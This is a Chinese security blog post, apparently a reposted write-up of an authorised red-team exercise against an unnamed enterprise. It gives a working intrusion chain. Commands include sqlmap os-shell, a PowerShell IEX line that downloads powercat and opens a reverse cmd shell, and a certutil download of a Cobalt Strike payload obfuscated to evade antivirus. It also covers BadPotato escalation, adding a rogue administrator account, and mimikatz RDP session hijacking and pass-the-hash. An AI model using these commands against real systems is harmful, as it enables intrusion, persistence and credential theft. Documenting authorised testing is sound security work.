记一次对某企业的渗透测试

admin 2023年6月19日09:15:22评论26 views字数 2261阅读7分32秒阅读模式
记一次对某企业的渗透测试
声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。

前言

某次攻防演练中,主办方只提供了目标企业名称,其他信息都需要自己收集,这篇文章记录一下渗透过程。

信息收集

既然只有目标名称,name首先根据提供的名称去查询下备案域名。一般常用的就是工信部ICP/IP地址/域名信息备案管理系统

https://beian.miit.gov.cn/
记一次对某企业的渗透测试

是比较精准了,但是每次查询都要点击验证码,对于我这种懒人来说还是感觉比较麻烦~ 个人使用次数比较多的是

https://www.beianx.cn/

记一次对某企业的渗透测试

这个网站优点就是很少触发验证码识别,缺点可能信息更新不及时/不全面,跟前一个网站可以配合着用 查询到目标备案域名后,可以在fofa、hunter上进行信息收集,或者使用谷歌语法

site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username

在对主站及子域进行相关测试后,并没有发现可以利用的点;使用nmap对子域IP进行全端口探测,发现如下信息系统:

记一次对某企业的渗透测试

SQL注入上线CS

使用burp爆破弱口令未果;遂尝试SQL注入,发现漏洞存在且为DBA权限

记一次对某企业的渗透测试

直接os-shell,但是看不到回显

sqlmap.py -r 1.txt --os-shell
记一次对某企业的渗透测试

可以通dnslog,但是尝试powershell上线失败

记一次对某企业的渗透测试

通过powershell反弹cmd

  • powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。被攻击端运行命令
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c **** -p **** -e cmd

攻击端用nc监听即可反弹出cmd。

记一次对某企业的渗透测试

然后使用certutil下载cs上线程序,然后执行上线。certutil是windows下一款下载文件的工具,自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说,以下命令是在Win7及其以后的机器使用。但是该命令的使用会引发杀毒软件的查杀,所以在实际渗透中需要将该命令做一定的免杀处理,比如

c""""e""""r""""t""""u""""t""""i""""l.exe -urlcache -split -f http://ip/6666.exe 6666.exe
记一次对某企业的渗透测试

提权&&内网横向

当前用户是SqlServer权限,不利于下一步的内网横向,所以要先提权,执行systeminfo可知当前为server2012系统。当前可以考虑使用BadPotato提权(提权脚本见知识星球)

记一次对某企业的渗透测试

当前被控机已提权至system权限,一般我们可以在CS上注入一个进程简单做一下权限维持 在CS客户端会话上

邮件-Explore-Process List-在加载出的系统进程中选择一个常见程序-下方选择Inject

记一次对某企业的渗透测试

至此系统提权和权限维持已完成,因为是server2012 R2版本,也没有啥比较好的办法去读密码,个人一般选择加用户或者激活guest然后搭代理登3389。添加用户:

net user aaa 123qwe... /add

这就添加了一个用户为:aaa密码为:123qwe...的用户了 第二步 将此用户提升为管理员:

net localgroup administrators aaa /add

管理员账户已经添加完成,看看受控机是否启用远程桌面连接

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections

0x1表示关闭;0x0表示开启

记一次对某企业的渗透测试

查一下远桌面服务开在了哪个端口

REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber
记一次对某企业的渗透测试

之后再通过计算器来将16进制转10进制即可:

记一次对某企业的渗透测试

现在该有的权限、管理员账号、3389都具备了,用frp或者nps搭个代理就可以连接内网服务器了。但是还没有拿下服务器的管理员桌面,可以考虑使用rdp劫持

privilege::debug #提权 
ts::sessions #查看当前主机的会话
token::elevate #提升本地管理员权限为system 
ts::remote /id:2 #劫持id为2的会话

或者

privilege::debug 
sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 "/run:mstsc.exe /restrictedadmin"

(手头上没有合适的机器复现了,暂且找了张图凑合看吧,图文无关~)

记一次对某企业的渗透测试

现在管理员桌面也搞定了,然后直接上Tscan扫内网,等待的时间可以翻翻mstsc连接记录、浏览器历史记录和记住的账号密码。这个内网资产还可以,毕竟是大企业内网而且防护相对比较薄弱,刚好Tscan的POC比较多,比较适合刷分。这里就不再一一放图了~

原文始发于微信公众号(Tide安全团队):记一次对某企业的渗透测试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月19日09:15:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次对某企业的渗透测试https://cn-sec.com/archives/1804112.html

发表评论

匿名网友 填写信息